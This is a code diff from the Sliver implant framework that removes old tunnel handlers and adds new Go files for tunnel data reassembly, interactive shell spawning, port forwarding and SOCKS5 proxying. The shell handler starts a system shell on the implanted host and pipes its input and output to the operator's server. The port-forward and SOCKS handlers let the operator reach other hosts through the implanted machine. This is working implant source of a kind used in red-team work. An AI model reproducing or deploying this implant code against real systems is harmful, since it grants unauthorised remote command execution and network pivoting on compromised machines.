-	n := len(data)
-	data, err := proto.Marshal(&sliverpb.TunnelData{
-		Sequence: tw.tun.WriteSequence, // The tunnel write sequence
-		Ack:      tw.tun.ReadSequence,
-		TunnelID: tw.tun.ID,
-		Data:     data,
-	})
-	// {{if .Config.Debug}}
-	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
-	// {{end}}
-	tw.tun.WriteSequence++ // Increment write sequence
-	tw.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgTunnelData,
-		Data: data,
-	}
-	return n, err
-}
-
-func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-
-	shellReq := &sliverpb.ShellReq{}
-	err := proto.Unmarshal(envelope.Data, shellReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-
-	shellPath := shell.GetSystemShellPath(shellReq.Path)
-	systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
-	if systemShell == nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Failed to get system shell")
-		// {{end}}
-		return
-	}
-	go systemShell.StartAndWait()
-	// Wait for the process to actually spawn
-	for {
-		if systemShell.Command.Process == nil {
-			// {{if .Config.Debug}}
-			log.Printf("[shell] Waiting for process to spawn ...")
-			// {{end}}
-			time.Sleep(time.Second)
-		} else {
-			break
-		}
-	}
-	tunnel := &transports.Tunnel{
-		ID:     shellReq.TunnelID,
-		Reader: systemShell.Stdout,
-		Writer: systemShell.Stdin,
-	}
-	connection.AddTunnel(tunnel)
-
-	shellResp, _ := proto.Marshal(&sliverpb.Shell{
-		Pid:      uint32(systemShell.Command.Process.Pid),
-		Path:     shellReq.Path,
-		TunnelID: shellReq.TunnelID,
-	})
-	connection.Send <- &sliverpb.Envelope{
-		ID:   envelope.ID,
-		Data: shellResp,
-	}
-
-	// Cleanup function with arguments
-	cleanup := func(reason string) {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
-		// {{end}}
-		connection.RemoveTunnel(tunnel.ID)
-		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-			Closed:   true,
-			TunnelID: tunnel.ID,
-		})
-		connection.Send <- &sliverpb.Envelope{
-			Type: sliverpb.MsgTunnelClose,
-			Data: tunnelClose,
-		}
-	}
-
-	go func() {
-		for {
-			tWriter := tunnelWriter{
-				tun:  tunnel,
-				conn: connection,
-			}
-			_, err := io.Copy(tWriter, tunnel.Reader)
-			if systemShell.Command.ProcessState != nil {
-				if systemShell.Command.ProcessState.Exited() {
-					cleanup("process terminated")
-					return
-				}
-			}
-			if err == io.EOF {
-				cleanup("EOF")
-				return
-			}
-		}
-	}()
-
-	// {{if .Config.Debug}}
-	log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
-	// {{end}}
-
-}
-
-func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	portfwdReq := &sliverpb.PortfwdReq{}
-	err := proto.Unmarshal(envelope.Data, portfwdReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-
-	var defaultDialer = new(net.Dialer)
-
-	// TODO: Configurable context
-	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
-	// {{if .Config.Debug}}
-	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
-	// {{end}}
-	dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Failed to dial remote address %s", err)
-		// {{end}}
-		return
-	}
-	if conn, ok := dst.(*net.TCPConn); ok {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Configuring keep alive")
-		// {{end}}
-		conn.SetKeepAlive(true)
-		// TODO: Make KeepAlive configurable
-		conn.SetKeepAlivePeriod(30 * time.Second)
-	}
-
-	// Add tunnel
-	tunnel := &transports.Tunnel{
-		ID:     portfwdReq.TunnelID,
-		Reader: dst,
-		Writer: dst,
-	}
-	connection.AddTunnel(tunnel)
-
-	// Send portfwd response
-	portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
-		Port:     portfwdReq.Port,
-		Host:     portfwdReq.Host,
-		Protocol: sliverpb.PortFwdProtoTCP,
-		TunnelID: portfwdReq.TunnelID,
-	})
-	connection.Send <- &sliverpb.Envelope{
-		ID:   envelope.ID,
-		Data: portfwdResp,
-	}
-
-	cleanup := func(reason error) {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
-		// {{end}}
-		connection.RemoveTunnel(tunnel.ID)
-		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-			Closed:   true,
-			TunnelID: tunnel.ID,
-		})
-		connection.Send <- &sliverpb.Envelope{
-			Type: sliverpb.MsgTunnelClose,
-			Data: tunnelClose,
-		}
-	}
-
-	go func() {
-		tWriter := tunnelWriter{
-			tun:  tunnel,
-			conn: connection,
-		}
-		_, err := io.Copy(tWriter, tunnel.Reader)
-		cleanup(err)
-	}()
-}
-
-type socksTunnelPool struct {
-	tunnels    map[uint64]chan []byte
-	readMutex  *sync.Mutex
-	writeMutex *sync.Mutex
-	Sequence   map[uint64]uint64
-}
-
-var socksTunnels = socksTunnelPool{
-	tunnels:    map[uint64]chan []byte{},
-	readMutex:  &sync.Mutex{},
-	writeMutex: &sync.Mutex{},
-	Sequence:   map[uint64]uint64{},
-}
-
-var socksServer *socks5.Server
-
-func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	socksData := &sliverpb.SocksData{}
-	err := proto.Unmarshal(envelope.Data, socksData)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[socks] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-	if socksData.Data == nil {
-		return
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
-	// {{end}}
-
-	if socksData.Username != "" && socksData.Password != "" {
-		cred := socks5.StaticCredentials{
-			socksData.Username: socksData.Password,
-		}
-		auth := socks5.UserPassAuthenticator{Credentials: cred}
-		socksServer = socks5.NewServer(
-			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
-		)
-	} else {
-		socksServer = socks5.NewServer()
-	}
-
-	// {{if .Config.Debug}}
-	log.Printf("[socks] Server: %v", socksServer)
-	// {{end}}
-
-	// init tunnel
-	if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
-		socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
-		socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
-		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
-		if err != nil {
-			return
-		}
-	} else {
-		socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
-	}
-}
-
-var _ net.Conn = &socks{}
-
-type socks struct {
-	stream *sliverpb.SocksData
-	conn   *transports.Connection
-	// mux      sync.Mutex
-	Sequence uint64
-}
-
-func (s *socks) Read(b []byte) (n int, err error) {
-	socksTunnels.readMutex.Lock()
-	channel := socksTunnels.tunnels[s.stream.TunnelID]
-	socksTunnels.readMutex.Unlock()
-	data := <-channel
-	return copy(b, data), nil
-}
-
-func (s *socks) Write(b []byte) (n int, err error) {
-	socksTunnels.writeMutex.Lock()
-	data, err := proto.Marshal(&sliverpb.SocksData{
-		TunnelID: s.stream.TunnelID,
-		Data:     b,
-		Sequence: s.Sequence,
-	})
-	if !s.conn.IsOpen {
-		return 0, err
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
-	// {{end}}
-	s.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgSocksData,
-		Data: data,
-	}
-	socksTunnels.writeMutex.Unlock()
-	s.Sequence++
-	return len(b), err
-}
-
-func (s *socks) Close() error {
-	close(socksTunnels.tunnels[s.stream.TunnelID])
-	delete(socksTunnels.tunnels, s.stream.TunnelID)
-	data, err := proto.Marshal(&sliverpb.SocksData{
-		TunnelID:  s.stream.TunnelID,
-		CloseConn: true,
-	})
-	if !s.conn.IsOpen {
-		return err
-	}
-	s.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgSocksData,
-		Data: data,
-	}
-	return err
-}
-
-func (c *socks) LocalAddr() net.Addr {
-	return nil
-}
-
-func (c *socks) RemoteAddr() net.Addr {
-	return &net.IPAddr{
-		IP:   net.IPv4(127, 0, 0, 1),
-		Zone: "",
-	}
-}
-
-// TODO impl
-func (c *socks) SetDeadline(t time.Time) error {
-	return nil
-}
-
-// TODO impl
-func (c *socks) SetReadDeadline(t time.Time) error {
-	return nil
-}
-
-// TODO impl
-func (c *socks) SetWriteDeadline(t time.Time) error {
-	return nil
-}

implant/sliver/handlers/tunnel_handlers/close_handler.go

@@ -0,0 +1,50 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	tunnelClose := &sliverpb.TunnelData{
+		Closed: true,
+	}
+	proto.Unmarshal(envelope.Data, tunnelClose)
+	tunnel := connection.Tunnel(tunnelClose.TunnelID)
+	if tunnel != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
+		// {{end}}
+		connection.RemoveTunnel(tunnel.ID)
+		tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here
+		tunnelDataCache.DeleteTun(tunnel.ID)
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
+		// {{end}}
+	}
+}

implant/sliver/handlers/tunnel_handlers/data_cache.go

@@ -0,0 +1,84 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"sync"
+
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+var (
+	// TunnelID -> Sequence Number -> Data
+	tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
+)
+
+type dataCache struct {
+	mutex *sync.RWMutex
+	cache map[uint64]map[uint64]*sliverpb.TunnelData
+}
+
+func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	if _, ok := c.cache[tunnelID]; !ok {
+		c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
+	}
+
+	c.cache[tunnelID][sequence] = tunnelData
+}
+
+func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+
+	if _, ok := c.cache[tunnelID]; !ok {
+		return nil, false
+	}
+
+	val, ok := c.cache[tunnelID][sequence]
+
+	return val, ok
+}
+
+func (c *dataCache) DeleteTun(tunnelID uint64) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	delete(c.cache, tunnelID)
+}
+
+func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	if _, ok := c.cache[tunnelID]; !ok {
+		return
+	}
+
+	delete(c.cache[tunnelID], sequence)
+}
+
+func (c *dataCache) Len(tunnelID uint64) int {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+
+	return len(c.cache[tunnelID])
+}

implant/sliver/handlers/tunnel_handlers/data_handler.go

@@ -0,0 +1,99 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	tunnelData := &sliverpb.TunnelData{}
+	proto.Unmarshal(envelope.Data, tunnelData)
+	tunnel := connection.Tunnel(tunnelData.TunnelID)
+	if tunnel != nil {
+		// Since we have no guarantees that we will receive tunnel data in the correct order, we need
+		// to ensure we write the data back to the reader in the correct order. The server will ensure
+		// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
+		// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
+		// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
+		// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
+		// correctly write them back to the reader.
+
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
+		// {{end}}
+
+		tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
+
+		// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
+		// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
+		// is used here whereas WriteSequence is used for data written back to the server
+
+		// Go through cache and write all sequential data to the reader
+		for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
+			// {{if .Config.Debug}}
+			log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
+			// {{end}}
+			tunnel.Writer.Write(recv.Data)
+
+			// Delete the entry we just wrote from the cache
+			tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
+			tunnel.IncReadSequence() // Increment sequence counter
+
+			// {{if .Config.Debug}}
+			log.Printf("[message just received] %v", tunnelData)
+			// {{end}}
+		}
+
+		//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
+		//Send a Resend packet to have the msg resent from the cache
+		if tunnelDataCache.Len(tunnel.ID) > 3 {
+			data, err := proto.Marshal(&sliverpb.TunnelData{
+				Sequence: tunnel.WriteSequence(), // The tunnel write sequence
+				Ack:      tunnel.ReadSequence(),
+				Resend:   true,
+				TunnelID: tunnel.ID,
+				Data:     []byte{},
+			})
+			if err != nil {
+				// {{if .Config.Debug}}
+				log.Printf("[shell] Failed to marshal protobuf %s", err)
+				// {{end}}
+			} else {
+				// {{if .Config.Debug}}
+				log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
+				// {{end}}
+				connection.RequestResend(data)
+			}
+		}
+
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
+		log.Printf("[message just transfered] %v", tunnelData)
+		// {{end}}
+	}
+}

implant/sliver/handlers/tunnel_handlers/portfwd_handler.go

@@ -0,0 +1,144 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"time"
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	portfwdReq := &sliverpb.PortfwdReq{}
+	err := proto.Unmarshal(envelope.Data, portfwdReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
+			Response: &commonpb.Response{
+				Err: err.Error(),
+			},
+		})
+		reportError(envelope, connection, portfwdResp)
+		return
+	}
+
+	var defaultDialer = new(net.Dialer)
+
+	// TODO: Configurable context
+	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
+	// {{if .Config.Debug}}
+	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
+	// {{end}}
+
+	ctx, cancelContext := context.WithCancel(context.Background())
+
+	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Failed to dial remote address %s", err)
+		// {{end}}
+		cancelContext()
+		portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
+			Response: &commonpb.Response{
+				Err: err.Error(),
+			},
+		})
+		reportError(envelope, connection, portfwdResp)
+		return
+	}
+	if conn, ok := dst.(*net.TCPConn); ok {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Configuring keep alive")
+		// {{end}}
+		conn.SetKeepAlive(true)
+		// TODO: Make KeepAlive configurable
+		conn.SetKeepAlivePeriod(30 * time.Second)
+	}
+
+	// Add tunnel
+	// {{if .Config.Debug}}
+	log.Printf("[portfwd] Creating tcp tunnel")
+	// {{end}}
+	tunnel := transports.NewTunnel(
+		portfwdReq.TunnelID,
+		dst,
+		dst,
+	)
+	connection.AddTunnel(tunnel)
+
+	// Send portfwd response
+	portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
+		Port:     portfwdReq.Port,
+		Host:     portfwdReq.Host,
+		Protocol: sliverpb.PortFwdProtoTCP,
+		TunnelID: portfwdReq.TunnelID,
+	})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: portfwdResp,
+	}
+
+	cleanup := func(reason error) {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
+		// {{end}}
+		tunnel := connection.Tunnel(tunnel.ID)
+
+		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+			Closed:   true,
+			TunnelID: tunnel.ID,
+		})
+		connection.Send <- &sliverpb.Envelope{
+			Type: sliverpb.MsgTunnelClose,
+			Data: tunnelClose,
+		}
+		connection.RemoveTunnel(tunnel.ID)
+		dst.Close()
+		cancelContext()
+	}
+
+	go func() {
+		tWriter := tunnelWriter{
+			tun:  tunnel,
+			conn: connection,
+		}
+		// portfwd only uses one reader, hence the tunnel.Readers[0]
+		n, err := io.Copy(tWriter, tunnel.Readers[0])
+		_ = n // avoid not used compiler error if debug mode is disabled
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
+		// {{end}}
+
+		cleanup(err)
+	}()
+}

implant/sliver/handlers/tunnel_handlers/shell_handler.go

@@ -0,0 +1,162 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"io"
+
+	"github.com/bishopfox/sliver/implant/sliver/shell"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+
+	shellReq := &sliverpb.ShellReq{}
+	err := proto.Unmarshal(envelope.Data, shellReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		shellResp, _ := proto.Marshal(&sliverpb.Shell{
+			Response: &commonpb.Response{
+				Err: err.Error(),
+			},
+		})
+		reportError(envelope, connection, shellResp)
+		return
+	}
+
+	shellPath := shell.GetSystemShellPath(shellReq.Path)
+	systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
+	if systemShell == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to get system shell")
+		// {{end}}
+		shellResp, _ := proto.Marshal(&sliverpb.Shell{
+			Response: &commonpb.Response{
+				Err: err.Error(),
+			},
+		})
+		reportError(envelope, connection, shellResp)
+		return
+	}
+
+	// At this point, command is already started by StartInteractive
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to spawn! err: %v", err)
+		// {{end}}
+		shellResp, _ := proto.Marshal(&sliverpb.Shell{
+			Response: &commonpb.Response{
+				Err: err.Error(),
+			},
+		})
+		reportError(envelope, connection, shellResp)
+		return
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Process spawned!")
+		// {{end}}
+	}
+
+	tunnel := transports.NewTunnel(
+		shellReq.TunnelID,
+		systemShell.Stdin,
+		systemShell.Stdout,
+		systemShell.Stderr,
+	)
+	connection.AddTunnel(tunnel)
+
+	shellResp, _ := proto.Marshal(&sliverpb.Shell{
+		Pid:      uint32(systemShell.Command.Process.Pid),
+		Path:     shellReq.Path,
+		TunnelID: shellReq.TunnelID,
+	})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: shellResp,
+	}
+
+	// Cleanup function with arguments
+	cleanup := func(reason string, err error) {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
+		// {{end}}
+
+		systemShell.Stop()
+
+		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+			Closed:   true,
+			TunnelID: tunnel.ID,
+		})
+		connection.Send <- &sliverpb.Envelope{
+			Type: sliverpb.MsgTunnelClose,
+			Data: tunnelClose,
+		}
+	}
+
+	for _, rc := range tunnel.Readers {
+		if rc == nil {
+			continue
+		}
+		go func(outErr io.ReadCloser) {
+			tWriter := tunnelWriter{
+				conn: connection,
+				tun:  tunnel,
+			}
+			// {{if .Config.Debug}}
+			log.Printf("[shell] tWriter: %v outErr: %v", tWriter, outErr)
+			// {{end}}
+			_, err := io.Copy(tWriter, outErr)
+
+			if err != nil {
+				cleanup("io error", err)
+				return
+			}
+			err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
+			if err != nil {
+				cleanup("shell wait error", err)
+				return
+			}
+			if systemShell.Command.ProcessState != nil {
+				if systemShell.Command.ProcessState.Exited() {
+					cleanup("process terminated", nil)
+					return
+				}
+			}
+			if err == io.EOF {
+				cleanup("EOF", err)
+				return
+			}
+		}(rc)
+	}
+
+	// {{if .Config.Debug}}
+	log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
+	// {{end}}
+
+}

implant/sliver/handlers/tunnel_handlers/socks_handler.go

@@ -0,0 +1,183 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"errors"
+	"net"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/things-go/go-socks5"
+	"google.golang.org/protobuf/proto"
+)
+
+type socksTunnelPool struct {
+	tunnels *sync.Map // map[uint64]chan []byte
+}
+
+var socksTunnels = socksTunnelPool{
+	tunnels: &sync.Map{},
+}
+
+var socksServer *socks5.Server
+
+func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	socksData := &sliverpb.SocksData{}
+	err := proto.Unmarshal(envelope.Data, socksData)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[socks] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		return
+	}
+	if socksData.Data == nil {
+		return
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
+	// {{end}}
+
+	if socksData.Username != "" && socksData.Password != "" {
+		cred := socks5.StaticCredentials{
+			socksData.Username: socksData.Password,
+		}
+		auth := socks5.UserPassAuthenticator{Credentials: cred}
+		socksServer = socks5.NewServer(
+			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
+		)
+	} else {
+		socksServer = socks5.NewServer()
+	}
+
+	// {{if .Config.Debug}}
+	log.Printf("[socks] Server: %v", socksServer)
+	// {{end}}
+
+	// init tunnel
+	if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
+		tunnelChan := make(chan []byte, 10)
+		socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
+		tunnelChan <- socksData.Data
+		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("[socks] Failed to serve connection: %v", err)
+			// {{end}}
+			return
+		}
+	} else {
+		tunnel.(chan []byte) <- socksData.Data
+	}
+}
+
+var _ net.Conn = &socks{}
+
+type socks struct {
+	stream *sliverpb.SocksData
+	conn   *transports.Connection
+	// mux      sync.Mutex
+	Sequence uint64
+}
+
+func (s *socks) Read(b []byte) (n int, err error) {
+	channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
+	if !ok {
+		return 0, errors.New("[socks] invalid tunnel id")
+	}
+
+	data := <-channel.(chan []byte)
+	return copy(b, data), nil
+}
+
+func (s *socks) Write(b []byte) (n int, err error) {
+	data, err := proto.Marshal(&sliverpb.SocksData{
+		TunnelID: s.stream.TunnelID,
+		Data:     b,
+		Sequence: atomic.LoadUint64(&s.Sequence),
+	})
+	if !s.conn.IsOpen {
+		return 0, err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
+	// {{end}}
+	s.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgSocksData,
+		Data: data,
+	}
+
+	atomic.AddUint64(&s.Sequence, 1)
+	return len(b), err
+}
+
+func (s *socks) Close() error {
+	channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
+	if !ok {
+		return errors.New("[socks] can't close unknown channel")
+	}
+	close(channel.(chan []byte))
+
+	data, err := proto.Marshal(&sliverpb.SocksData{
+		TunnelID:  s.stream.TunnelID,
+		CloseConn: true,
+	})
+	if !s.conn.IsOpen {
+		return err
+	}
+	s.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgSocksData,
+		Data: data,
+	}
+	return err
+}
+
+func (c *socks) LocalAddr() net.Addr {
+	return nil
+}
+
+func (c *socks) RemoteAddr() net.Addr {
+	return &net.IPAddr{
+		IP:   net.IPv4(127, 0, 0, 1),
+		Zone: "",
+	}
+}
+
